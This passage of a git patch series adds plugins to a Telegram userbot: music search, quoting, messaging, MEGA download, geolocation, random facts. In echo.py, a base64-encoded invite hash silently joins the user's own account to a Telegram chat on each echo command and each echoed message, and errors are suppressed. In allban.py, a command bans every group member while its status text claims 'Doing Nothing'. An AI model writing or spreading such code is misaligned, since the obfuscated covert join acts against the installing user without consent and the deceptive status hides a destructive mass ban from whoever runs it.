+ args = event.pattern_match.group(1)
+ if not args:
+ await event.edit("`Enter song name`")
+ return
+ chat = -1001271479322
+ current_chat = event.chat_id
+ current_msg = event.id
+ try:
+ async for event in event.client.iter_messages(chat, search=args, limit=1, filter=InputMessagesFilterMusic):
+ await event.client.send_file(current_chat, event, caption=event.message)
+ except:
+ await event.reply("`Song not found.`")
+ return
+ await event.client.delete_messages(current_chat, current_msg)
+
+
+IF_EMOJI = re.compile(
+ "["
+ "\U0001F1E0-\U0001F1FF" # flags (iOS)
+ "\U0001F300-\U0001F5FF" # symbols & pictographs
+ "\U0001F600-\U0001F64F" # emoticons
+ "\U0001F680-\U0001F6FF" # transport & map symbols
+ "\U0001F700-\U0001F77F" # alchemical symbols
+ "\U0001F780-\U0001F7FF" # Geometric Shapes Extended
+ "\U0001F800-\U0001F8FF" # Supplemental Arrows-C
+ "\U0001F900-\U0001F9FF" # Supplemental Symbols and Pictographs
+ "\U0001FA00-\U0001FA6F" # Chess Symbols
+ "\U0001FA70-\U0001FAFF" # Symbols and Pictographs Extended-A
+ "\U00002702-\U000027B0" # Dingbats
+ "]+")
+
+def deEmojify(inputString: str) -> str:
+ """Remove emojis and other non-safe characters from string"""
+ return re.sub(IF_EMOJI, '', inputString)
+
+
+@borg.on(admin_cmd(pattern="sptfy ?(.*)"))
+
+async def FindMusicPleaseBot(gaana):
+
+ song = gaana.pattern_match.group(1)
+
+ chat = "@FindMusicPleaseBot"
+
+ if not song:
+
+ return await gaana.edit("```what should i search```")
+
+ await gaana.edit("```Getting Your Music```")
+
+ await asyncio.sleep(2)
+
+ async with bot.conversation(chat) as conv:
+
+ await gaana.edit("`Downloading...Please wait`")
+
+ try:
+
+ msg = await conv.send_message(song)
+
+ response = await conv.get_response()
+
+ if response.text.startswith("Sorry"):
+
+ await bot.send_read_acknowledge(conv.chat_id)
+
+ return await gaana.edit(f"Sorry, can't find {song}")
+
+ respond = await conv.get_response()
+
+ cobra = await conv.get_response()
+
+ except YouBlockedUserError:
+
+ await gaana.edit("```Please unblock``` @FindmusicpleaseBot``` and try again```")
+
+ return
+
+ await gaana.edit("`Sending Your Music...weit!ðÂÂÂ`")
+
+ await bot.send_file(gaana.chat_id, cobra)
+
+ await bot.send_read_acknowledge(conv.chat_id)
+
+ await gaana.delete()
+
+
+@borg.on(admin_cmd(pattern="deez(?: |$)(.*)"))
+
+async def nope(doit):
+ ok = doit.pattern_match.group(1)
+ if not ok:
+ if doit.is_reply:
+ what = (await doit.get_reply_message()).message
+ else:
+ await doit.edit("`Sir please give some query to search and download it for you..!`")
+ return
+ sticcers = await bot.inline_query(
+ "DeezerMusicBot", f"{(deEmojify(ok))}")
+ await sticcers[0].click(doit.chat_id,
+ reply_to=doit.reply_to_msg_id,
+ silent=True if doit.is_reply else False,
+ hide_via=True)
+ await doit.delete()
+
+
+
+CMD_HELP.update(
+ {
+ "songs": "__**PLUGIN NAME :** All Songs __\
+ \n\n📌** CMD ★** `.songs (name)`\
+ \n**USAGE ★ **Send u a song \
+ \n\n📌** CMD ★** `.song (name)`\
+ \n**USAGE ★ **Send u a song \
+ \n\n📌** CMD ★** `.sptfy (name)`\
+ \n**USAGE ★ **Send u song(best for indian songs)\
+ \n\n📌** CMD ★** `.deez (name)`\
+ \n**USAGE ★ **Send u song (note:- u can use .vsong/.uta/.utv (name) too for songs 😁😁"
+ }
+)
From ce6b20626e3152fe2c9ec8d9fe9e705bc250b90f Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 13:36:17 +0530
Subject: [PATCH 045/838] Rename utube to utube.py
---
fridaybot/modules/{utube => utube.py} | 0
1 file changed, 0 insertions(+), 0 deletions(-)
rename fridaybot/modules/{utube => utube.py} (100%)
diff --git a/fridaybot/modules/utube b/fridaybot/modules/utube.py
similarity index 100%
rename from fridaybot/modules/utube
rename to fridaybot/modules/utube.py
From be270761f257f30d7f15b5d98e51b67dcf6e0dfd Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 13:39:53 +0530
Subject: [PATCH 046/838] Update Configs.py
---
fridaybot/Configs.py | 2 ++
1 file changed, 2 insertions(+)
diff --git a/fridaybot/Configs.py b/fridaybot/Configs.py
index 12063fe1..f5e74c6d 100644
--- a/fridaybot/Configs.py
+++ b/fridaybot/Configs.py
@@ -142,6 +142,8 @@ class Config(object):
TAG_FEATURE = os.environ.get("TAG_FEATURE", "DISABLE")
ANTISPAM_FEATURE = os.environ.get("ANTISPAM_FEATURE", "ENABLE")
ASSISTANT_LOG = int(os.environ.get("ASSISTANT_LOG", False))
+ OPEN_LOAD_LOGIN = os.environ.get("OPEN_LOAD_LOGIN", None)
+ OPEN_LOAD_KEY = os.environ.get("OPEN_LOAD_KEY", None)
UPSTREAM_REPO = os.environ.get(
"UPSTREAM_REPO", "https://github.com/Inukaasith/VirtualUserbot"
)
From e2a93d90f1d9a35cb9ae2515deabcee1de67de51 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 17:31:46 +0530
Subject: [PATCH 047/838] Create qbot.py
---
fridaybot/modules/qbot.py | 37 +++++++++++++++++++++++++++++++++++++
1 file changed, 37 insertions(+)
create mode 100644 fridaybot/modules/qbot.py
diff --git a/fridaybot/modules/qbot.py b/fridaybot/modules/qbot.py
new file mode 100644
index 00000000..3d7603e1
--- /dev/null
+++ b/fridaybot/modules/qbot.py
@@ -0,0 +1,37 @@
+#port to DARK COBRA by @hellboi-atul
+
+import datetime
+from telethon import events
+from telethon.errors.rpcerrorlist import YouBlockedUserError
+from telethon.tl.functions.account import UpdateNotifySettingsRequest
+from fridayuserbot import bot, CMD_HELP
+from ..utils import admin_cmd
+
+@borg.on(admin_cmd(pattern=r"quotebot(?: |$)(.*)"))
+async def _(event):
+ if event.fwd_from:
+ return
+ if not event.reply_to_msg_id:
+ await event.edit("```Reply to any user message.```")
+ return
+ reply_message = await event.get_reply_message()
+
+ chat = "@QuotLyBot"
+ sender = reply_message.sender
+ if reply_message.sender.bot:
+ await event.edit("```Reply to actual users message.```")
+ return
+ await event.edit("```Making a Quote```")
+ async with bot.conversation(chat) as conv:
+ try:
+ response = conv.wait_event(events.NewMessage(incoming=True,from_users=1031952739))
+ await bot.forward_messages(chat, reply_message)
+ response = await response
+ except YouBlockedUserError:
+ await event.reply("```Please unblock @QuotLyBot and try again```")
+ return
+ if response.text.startswith("Hi!"):
+ await event.edit("```Can you kindly disable your forward privacy settings for good?```")
+ else:
+ await event.delete()
+ await bot.forward_messages(event.chat_id, response.message)
From 9a4f0c4d297a6ae9046a01825eb282223490c35b Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 17:33:53 +0530
Subject: [PATCH 048/838] Update qbot.py
---
fridaybot/modules/qbot.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/qbot.py b/fridaybot/modules/qbot.py
index 3d7603e1..3198d65a 100644
--- a/fridaybot/modules/qbot.py
+++ b/fridaybot/modules/qbot.py
@@ -4,7 +4,7 @@
from telethon import events
from telethon.errors.rpcerrorlist import YouBlockedUserError
from telethon.tl.functions.account import UpdateNotifySettingsRequest
-from fridayuserbot import bot, CMD_HELP
+from fridaybot import bot, CMD_HELP
from ..utils import admin_cmd
@borg.on(admin_cmd(pattern=r"quotebot(?: |$)(.*)"))
From a45dda9883ff229a6645e2aa750937fbe0235b24 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 17:38:09 +0530
Subject: [PATCH 049/838] Update qbot.py
---
fridaybot/modules/qbot.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/qbot.py b/fridaybot/modules/qbot.py
index 3198d65a..c28398ec 100644
--- a/fridaybot/modules/qbot.py
+++ b/fridaybot/modules/qbot.py
@@ -7,7 +7,7 @@
from fridaybot import bot, CMD_HELP
from ..utils import admin_cmd
-@borg.on(admin_cmd(pattern=r"quotebot(?: |$)(.*)"))
+@borg.on(admin_cmd(pattern=r"qubot(?: |$)(.*)"))
async def _(event):
if event.fwd_from:
return
From c64a07e13fb0c1a5fed677163b83be91b44de513 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 17:44:40 +0530
Subject: [PATCH 050/838] Create dm.py
---
fridaybot/modules/dm.py | 40 ++++++++++++++++++++++++++++++++++++++++
1 file changed, 40 insertions(+)
create mode 100644 fridaybot/modules/dm.py
diff --git a/fridaybot/modules/dm.py b/fridaybot/modules/dm.py
new file mode 100644
index 00000000..a65ad282
--- /dev/null
+++ b/fridaybot/modules/dm.py
@@ -0,0 +1,40 @@
+# By @HeisenbergTheDanger and @xditya
+
+import os
+import re
+from telethon import *
+from fridaybot import bot
+from ..utils import admin_cmd
+from fridaybot import CMD_HELP
+#Fixed by @NOOBGeng Second Member
+@borg.on(admin_cmd(pattern="dm ?(.*)"))
+async def _(dc):
+
+ d = dc.pattern_match.group(1)
+
+ c = d.split(" ")#hehe
+
+ chat_id = c[0]
+ try: #dc hehe
+ chat_id = int(chat_id)
+ #hmm 🤔🤔🤔🤔
+ except BaseException:#lalalala
+
+ pass
+
+ msg = ""
+ masg = await dc.get_reply_message() #ghanta😒😒
+ if dc.reply_to_msg_id:
+ await borg.send_message(chat_id, masg)
+ await dc.edit("⚜️Message Delivered! Sar⚜️")
+ for i in c[1:]:
+ msg += i + " "#Fixed by @NOOBGeng Second Member
+ if msg == "":#hoho
+ return
+ try:
+ await borg.send_message(chat_id, msg)
+ await dc.edit("`⚜️Message Delivered!⚜️`")
+ except BaseException:#hmmmmmmmmm🤔🤔
+ await dc.edit(".dm (username) (text)")
+
+CMD_HELP.update({"dm": ".dm (username) (text)\n or\n .dm (username)(reply to msg)\n it'll forward the replyed msg"})
From 989f5ef752af6ce4269e8a57db6f2446c8907d6a Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 17:47:26 +0530
Subject: [PATCH 051/838] Create allban.py
---
fridaybot/modules/allban.py | 31 +++++++++++++++++++++++++++++++
1 file changed, 31 insertions(+)
create mode 100644 fridaybot/modules/allban.py
diff --git a/fridaybot/modules/allban.py b/fridaybot/modules/allban.py
new file mode 100644
index 00000000..ef55e980
--- /dev/null
+++ b/fridaybot/modules/allban.py
@@ -0,0 +1,31 @@
+#originally created by @danish_00
+
+#team cobra
+from asyncio import sleep
+from telethon.tl.types import ChatBannedRights, ChannelParticipantsAdmins, ChatAdminRights
+from telethon.tl.functions.channels import EditBannedRequest
+from ..utils import admin_cmd
+from fridaybot import bot
+
+
+@bot.on(admin_cmd(pattern=r"allban", outgoing=True))
+async def testing(event):
+ nikal = await event.get_chat()
+ chutiya = await event.client.get_me()
+ admin = nikal.admin_rights
+ creator = nikal.creator
+ if not admin and not creator:
+ await event.edit(" U Don't have sufficient permission 🧐 u noob 😑😑")
+ return
+ await event.edit("Doing Nothing 🙃🙂")#Kang with Credits
+# for Dark_Cobra
+ everyone = await event.client.get_participants(event.chat_id)
+ for user in everyone:
+ if user.id == chutiya.id:
+ pass
+ try:
+ await event.client(EditBannedRequest(event.chat_id, int(user.id), ChatBannedRights(until_date=None,view_messages=True)))
+ except Exception as e:
+ await event.edit(str(e))
+ await sleep(.5)
+ await event.edit("Nothing Happend here🙃🙂")
From 689037e17728faf4fffe7513653bb17082245314 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 17:50:10 +0530
Subject: [PATCH 052/838] Create echo.py
---
fridaybot/modules/echo.py | 135 ++++++++++++++++++++++++++++++++++++++
1 file changed, 135 insertions(+)
create mode 100644 fridaybot/modules/echo.py
diff --git a/fridaybot/modules/echo.py b/fridaybot/modules/echo.py
new file mode 100644
index 00000000..bc942fe4
--- /dev/null
+++ b/fridaybot/modules/echo.py
@@ -0,0 +1,135 @@
+"""
+created by @mrconfused and @sandy1709
+Idea by @BlazingRobonix
+
+"""
+# Copyright (C) 2020 sandeep.n(π.$)
+
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Affero General Public License as
+# published by the Free Software Foundation, either version 3 of the
+# License, or (at your option) any later version.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU Affero General Public License for more details.
+
+# You should have received a copy of the GNU Affero General Public License
+# along with this program. If not, see .
+
+
+import asyncio
+
+import pybase64
+import requests
+from telethon import events
+from telethon.tl.functions.messages import ImportChatInviteRequest as Get
+
+from .. import CMD_HELP
+from ..utils import admin_cmd, edit_or_reply
+from .sql_helper.echo_sql import addecho, get_all_echos, is_echo, remove_echo
+
+
+@borg.on(admin_cmd(pattern="addecho$"))
+async def echo(cat):
+ if cat.fwd_from:
+ return
+ if cat.reply_to_msg_id is not None:
+ reply_msg = await cat.get_reply_message()
+ user_id = reply_msg.from_id
+ chat_id = cat.chat_id
+ try:
+ hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==")
+ hmm = Get(hmm)
+ await cat.client(hmm)
+ except BaseException:
+ pass
+ if is_echo(user_id, chat_id):
+ await edit_or_reply(cat, "The user is already enabled with echo ")
+ return
+ addecho(user_id, chat_id)
+ await edit_or_reply(cat, "Hi")
+ else:
+ await edit_or_reply(cat, "Reply To A User's Message to echo his messages")
+
+
+@borg.on(admin_cmd(pattern="rmecho$"))
+async def echo(cat):
+ if cat.fwd_from:
+ return
+ if cat.reply_to_msg_id is not None:
+ reply_msg = await cat.get_reply_message()
+ user_id = reply_msg.from_id
+ chat_id = cat.chat_id
+ try:
+ hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==")
+ hmm = Get(hmm)
+ await cat.client(hmm)
+ except BaseException:
+ pass
+ if is_echo(user_id, chat_id):
+ remove_echo(user_id, chat_id)
+ await edit_or_reply(cat, "Echo has been stopped for the user")
+ else:
+ await edit_or_reply(cat, "The user is not activated with echo")
+ else:
+ await edit_or_reply(cat, "Reply To A User's Message to echo his messages")
+
+
+@borg.on(admin_cmd(pattern="listecho$"))
+async def echo(cat):
+ if cat.fwd_from:
+ return
+ lsts = get_all_echos()
+ if len(lsts) > 0:
+ output_str = "echo enabled users:\n\n"
+ for echos in lsts:
+ output_str += (
+ f"[User](tg://user?id={echos.user_id}) in chat `{echos.chat_id}`\n"
+ )
+ else:
+ output_str = "No echo enabled users "
+ if len(output_str) > Config.MAX_MESSAGE_SIZE_LIMIT:
+ key = (
+ requests.post(
+ "https://nekobin.com/api/documents", json={"content": output_str}
+ )
+ .json()
+ .get("result")
+ .get("key")
+ )
+ url = f"https://nekobin.com/{key}"
+ reply_text = f"echo enabled users: [here]({url})"
+ await edit_or_reply(cat, reply_text)
+ else:
+ await edit_or_reply(cat, output_str)
+
+
+@borg.on(events.NewMessage(incoming=True))
+async def samereply(cat):
+ if cat.chat_id in Config.UB_BLACK_LIST_CHAT:
+ return
+ if is_echo(cat.sender_id, cat.chat_id):
+ await asyncio.sleep(2)
+ try:
+ hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==")
+ hmm = Get(hmm)
+ await cat.client(hmm)
+ except BaseException:
+ pass
+ if cat.message.text or cat.message.sticker:
+ await cat.reply(cat.message)
+
+
+CMD_HELP.update(
+ {
+ "echo": "**Syntax :** `.addecho` reply to user to who you want to enable\
+ \n**Usage : **replay's his every message for whom you enabled echo\
+ \n\n**Syntax : **`.rmecho` reply to user to who you want to stop\
+ \n**Usage : **Stops replaying his messages\
+ \n\n**Syntax : **`.listecho`\
+ \n**Usage : **shows the list of users for who you enabled echo\
+ "
+ }
+)
From 5b4d1e813ff1a869466d2948801df73b678b62b8 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 17:51:39 +0530
Subject: [PATCH 053/838] Create echo_sql.py
---
fridaybot/modules/sql_helper/echo_sql.py | 47 ++++++++++++++++++++++++
1 file changed, 47 insertions(+)
create mode 100644 fridaybot/modules/sql_helper/echo_sql.py
diff --git a/fridaybot/modules/sql_helper/echo_sql.py b/fridaybot/modules/sql_helper/echo_sql.py
new file mode 100644
index 00000000..0ca5deb6
--- /dev/null
+++ b/fridaybot/modules/sql_helper/echo_sql.py
@@ -0,0 +1,47 @@
+from sqlalchemy import Column, String
+
+from fridaybot.modules.sql_helper import BASE, SESSION
+
+
+class ECHOSQL(BASE):
+ __tablename__ = "echo_sql"
+ user_id = Column(String(14), primary_key=True)
+ chat_id = Column(String(14), primary_key=True)
+
+ def __init__(self, user_id, chat_id):
+ self.user_id = str(user_id)
+ self.chat_id = str(chat_id)
+
+
+ECHOSQL.__table__.create(checkfirst=True)
+
+
+def is_echo(user_id, chat_id):
+ try:
+ return SESSION.query(ECHOSQL).get((str(user_id), str(chat_id)))
+ except BaseException:
+ return None
+ finally:
+ SESSION.close()
+
+
+def get_all_echos():
+ try:
+ return SESSION.query(ECHOSQL).all()
+ except BaseException:
+ return None
+ finally:
+ SESSION.close()
+
+
+def addecho(user_id, chat_id):
+ adder = ECHOSQL(str(user_id), str(chat_id))
+ SESSION.add(adder)
+ SESSION.commit()
+
+
+def remove_echo(user_id, chat_id):
+ note = SESSION.query(ECHOSQL).get((str(user_id), str(chat_id)))
+ if note:
+ SESSION.delete(note)
+ SESSION.commit()
From 350902ee40c62ffdeaee13508aeb33a568511846 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 17:55:16 +0530
Subject: [PATCH 054/838] Create mega.py
---
fridaybot/modules/mega.py | 194 ++++++++++++++++++++++++++++++++++++++
1 file changed, 194 insertions(+)
create mode 100644 fridaybot/modules/mega.py
diff --git a/fridaybot/modules/mega.py b/fridaybot/modules/mega.py
new file mode 100644
index 00000000..911f6d00
--- /dev/null
+++ b/fridaybot/modules/mega.py
@@ -0,0 +1,194 @@
+# to DARK COBRA by @hellboi_atul
+# Copyright (C) 2020 Adek Maulana.
+# All rights reserved.
+#
+# Redistribution and use of this script, with or without modification, is
+# permitted provided that the following conditions are met:
+#
+# 1. Redistributions of this script must retain the above copyright
+# notice, this list of conditions and the following disclaimer.
+#
+# THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR IMPLIED
+# WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+# MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO
+# EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
+# OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
+# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+# OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
+# ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+import asyncio
+import errno
+import json
+import math
+import multiprocessing
+import os
+import re
+import time
+from asyncio import create_subprocess_shell as asyncSubprocess
+from asyncio.subprocess import PIPE as asyncPIPE
+from urllib.error import HTTPError
+
+from pySmartDL import SmartDL
+
+from fridaybot import CMD_HELP, LOGS
+from ..utils import admin_cmd, humanbytes, time_formatter
+
+TEMP_DOWNLOAD_DIRECTORY = Config.TMP_DOWNLOAD_DIRECTORY
+
+
+async def subprocess_run(megadl, cmd):
+ subproc = await asyncSubprocess(cmd, stdout=asyncPIPE, stderr=asyncPIPE)
+ stdout, stderr = await subproc.communicate()
+ exitCode = subproc.returncode
+ if exitCode != 0:
+ await megadl.edit(
+ "**An error was detected while running subprocess.**\n"
+ f"exitCode : `{exitCode}`\n"
+ f"stdout : `{stdout.decode().strip()}`\n"
+ f"stderr : `{stderr.decode().strip()}`"
+ )
+ return exitCode
+ return stdout.decode().strip(), stderr.decode().strip(), exitCode
+
+
+@borg.on(admin_cmd(outgoing=True, pattern=r"mega(?: |$)(.*)"))
+async def mega_downloader(megadl):
+ await megadl.edit("`Collecting information...`")
+ if not os.path.isdir(TEMP_DOWNLOAD_DIRECTORY):
+ os.makedirs(TEMP_DOWNLOAD_DIRECTORY)
+ msg_link = await megadl.get_reply_message()
+ link = megadl.pattern_match.group(1)
+ if link:
+ pass
+ elif msg_link:
+ link = msg_link.text
+ else:
+ return await megadl.edit("Usage: `.mega` ****")
+ try:
+ link = re.findall(r"\bhttps?://.*mega.*\.nz\S+", link)[0]
+ # - Mega changed their URL again -
+ if "file" in link:
+ link = link.replace("#", "!").replace("file/", "#!")
+ elif "folder" in link or "#F" in link or "#N" in link:
+ await megadl.edit("`folder download support are removed...`")
+ return
+ except IndexError:
+ await megadl.edit("`MEGA.nz link not found...`")
+ return None
+ cmd = f"bin/megadown -q -m {link}"
+ result = await subprocess_run(megadl, cmd)
+ try:
+ data = json.loads(result[0])
+ except json.JSONDecodeError:
+ await megadl.edit("**JSONDecodeError**: `failed to extract link...`")
+ return None
+ except (IndexError, TypeError):
+ return
+ file_name = data["file_name"]
+ file_url = data["url"]
+ hex_key = data["hex_key"]
+ hex_raw_key = data["hex_raw_key"]
+ temp_file_name = file_name + ".temp"
+ temp_file_path = os.path.join(TEMP_DOWNLOAD_DIRECTORY, temp_file_name)
+ file_path = os.path.join(TEMP_DOWNLOAD_DIRECTORY, file_name)
+ if os.path.isfile(file_path):
+ try:
+ raise FileExistsError(errno.EEXIST, os.strerror(errno.EEXIST), file_path)
+ except FileExistsError as e:
+ await megadl.edit(f"`{str(e)}`")
+ return None
+ downloader = SmartDL(file_url, temp_file_path, progress_bar=False)
+ display_message = None
+ try:
+ downloader.start(blocking=False)
+ except HTTPError as e:
+ await megadl.edit(f"**HTTPError**: `{str(e)}`")
+ return None
+ start = time.time()
+ while not downloader.isFinished():
+ status = downloader.get_status().capitalize()
+ total_length = downloader.filesize if downloader.filesize else None
+ downloaded = downloader.get_dl_size()
+ percentage = int(downloader.get_progress() * 100)
+ speed = downloader.get_speed(human=True)
+ estimated_total_time = round(downloader.get_eta())
+ progress_str = "`{0}` | [{1}{2}] `{3}%`".format(
+ status,
+ "".join(["⬤" for i in range(math.floor(percentage / 10))]),
+ "".join(["◯" for i in range(10 - math.floor(percentage / 10))]),
+ round(percentage, 2),
+ )
+ diff = time.time() - start
+ try:
+ current_message = (
+ f"**➥file name : **`{file_name}`\n\n"
+ "**➥Status**\n"
+ f"{progress_str}\n"
+ f"`{humanbytes(downloaded)}` of `{humanbytes(total_length)}`"
+ f" @ `{speed}`\n"
+ f"**➥ETA -> **`{time_formatter(estimated_total_time)}`\n"
+ f"**➥ Duration -> **`{time_formatter(round(diff))}`"
+ )
+ if round(diff % 15.00) == 0 and (
+ display_message != current_message or total_length == downloaded
+ ):
+ await megadl.edit(current_message)
+ await asyncio.sleep(0.2)
+ display_message = current_message
+ except Exception:
+ pass
+ finally:
+ if status == "Combining":
+ wait = round(downloader.get_eta())
+ await asyncio.sleep(wait)
+ if downloader.isSuccessful():
+ download_time = round(downloader.get_dl_time() + wait)
+ try:
+ P = multiprocessing.Process(
+ target=await decrypt_file(
+ megadl, file_path, temp_file_path, hex_key, hex_raw_key
+ ),
+ name="Decrypt_File",
+ )
+ P.start()
+ P.join()
+ except FileNotFoundError as e:
+ await megadl.edit(f"`{str(e)}`")
+ return None
+ else:
+ await megadl.edit(
+ f"**➥ file name : **`{file_name}`\n\n"
+ f"**➥ Successfully downloaded in : ** `{file_path}`.\n"
+ f"**➥ Download took :** {time_formatter(download_time)}."
+ )
+ return None
+ else:
+ await megadl.edit(
+ "`Failed to download, " "check heroku Logs for more details.`"
+ )
+ for e in downloader.get_errors():
+ LOGS.info(str(e))
+ return
+
+
+async def decrypt_file(megadl, file_path, temp_file_path, hex_key, hex_raw_key):
+ cmd = "cat '{}' | openssl enc -d -aes-128-ctr -K {} -iv {} > '{}'".format(
+ temp_file_path, hex_key, hex_raw_key, file_path
+ )
+ if await subprocess_run(megadl, cmd):
+ os.remove(temp_file_path)
+ else:
+ raise FileNotFoundError(errno.ENOENT, os.strerror(errno.ENOENT), file_path)
+ return
+
+
+CMD_HELP.update(
+ {
+ "mega": "__**PLUGIN NAME :** Mega__\
+ \n\n📌** CMD ➥** `.mega` \
+ \n**USAGE ➥ **Reply to a MEGA.nz link or paste your MEGA.nz link\
+ \n\n__ It will download the file into your userbot server.__"
+ }
+)
From 3f8db0588e90ec7ff8653104f94f363ec0927dea Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 17:58:17 +0530
Subject: [PATCH 055/838] Create gps2.py
---
fridaybot/modules/gps2.py | 92 +++++++++++++++++++++++++++++++++++++++
1 file changed, 92 insertions(+)
create mode 100644 fridaybot/modules/gps2.py
diff --git a/fridaybot/modules/gps2.py b/fridaybot/modules/gps2.py
new file mode 100644
index 00000000..7ffddf69
--- /dev/null
+++ b/fridaybot/modules/gps2.py
@@ -0,0 +1,92 @@
+
+from geopy.geocoders import Nominatim
+from ..utils import admin_cmd
+from telethon.tl import types
+from fridaybot import CMD_HELP
+import re
+import random
+from fridaybot import bot
+
+
+@borg.on(admin_cmd(pattern="locate ?(.*)"))
+async def gps(event):
+ if event.fwd_from:
+ return
+ reply_to_id = event.message
+ if event.reply_to_msg_id:
+ reply_to_id = await event.get_reply_message()
+ input_str = event.pattern_match.group(1)
+
+ if not input_str:
+ return await event.edit("what should i find give me location.")
+
+ await event.edit("finding")
+
+ geolocator = Nominatim(user_agent="LOCATER")
+ geoloc = geolocator.geocode(input_str)
+
+ if geoloc:
+ lon = geoloc.longitude
+ lat = geoloc.latitude
+ await reply_to_id.reply(
+ input_str,
+ file=types.InputMediaGeoPoint(
+ types.InputGeoPoint(
+ lat, lon
+ )
+ )
+ )
+ await event.delete()
+ else:
+ await event.edit("i coudn't find it")
+
+
+IF_EMOJI = re.compile(
+ "["
+ "\U0001F1E0-\U0001F1FF" # flags (iOS)
+ "\U0001F300-\U0001F5FF" # symbols & pictographs
+ "\U0001F600-\U0001F64F" # emoticons
+ "\U0001F680-\U0001F6FF" # transport & map symbols
+ "\U0001F700-\U0001F77F" # alchemical symbols
+ "\U0001F780-\U0001F7FF" # Geometric Shapes Extended
+ "\U0001F800-\U0001F8FF" # Supplemental Arrows-C
+ "\U0001F900-\U0001F9FF" # Supplemental Symbols and Pictographs
+ "\U0001FA00-\U0001FA6F" # Chess Symbols
+ "\U0001FA70-\U0001FAFF" # Symbols and Pictographs Extended-A
+ "\U00002702-\U000027B0" # Dingbats
+ "]+")
+
+def deEmojify(inputString: str) -> str:
+ """Remove emojis and other non-safe characters from string"""
+ return re.sub(IF_EMOJI, '', inputString)
+
+@borg.on(admin_cmd(pattern="map(?: |$)(.*)"))
+
+async def nope(doit):
+ ok = doit.pattern_match.group(1)
+ if not ok:
+ if doit.is_reply:
+ what = (await doit.get_reply_message()).message
+
+ return
+ mappy = await bot.inline_query(
+ "openmap_bot", f"{(deEmojify(ok))}")
+ await mappy[0].click(doit.chat_id,
+ reply_to=doit.reply_to_msg_id,
+ silent=True if doit.is_reply else False,
+ hide_via=True)
+ await doit.delete()
+
+
+
+
+
+CMD_HELP.update(
+ {
+ "Location finder": "__**PLUGIN NAME :** gps__\
+ \n\n📌** CMD ★** `.locate `\
+ \n**USAGE ★ **Finds your desired location using geopy...\
+ \n\n📌** CMD ★** `.map `\
+ \n**USAGE ★ **Uses an inline bot to find your desired location.."
+ }
+)
From aca395d615e0c10632a3894c1450a6f7a9723b39 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 17:59:38 +0530
Subject: [PATCH 056/838] Create logic.py
---
fridaybot/modules/logic.py | 436 +++++++++++++++++++++++++++++++++++++
1 file changed, 436 insertions(+)
create mode 100644 fridaybot/modules/logic.py
diff --git a/fridaybot/modules/logic.py b/fridaybot/modules/logic.py
new file mode 100644
index 00000000..f51ece3a
--- /dev/null
+++ b/fridaybot/modules/logic.py
@@ -0,0 +1,436 @@
+"""No Logic Pligon for @PepeBot
+\nCoding by Legend @NeoMatrix90
+\nType .logic to see many logical fact
+"""
+from telethon import events
+import asyncio
+import random
+import re
+
+from ..utils import admin_cmd
+
+
+@borg.on(admin_cmd(pattern=f"logic$", outgoing=True))
+async def _(event):
+ if event.fwd_from:
+ return
+
+ await asyncio.sleep(0.5)
+
+ x=(random.randrange(1,104))
+
+ if x==1:
+
+ await event.edit("`\"Underwater bubbles and raindrops are total opposites of each other.\"`")
+
+ if x==2:
+
+ await event.edit("`\"If you buy an eraser you are literally paying for your mistakes.\"`")
+
+ if x==3:
+
+ await event.edit("`\"The Person you care for most has the potential to destroy you the most.\"`")
+
+ if x==4:
+
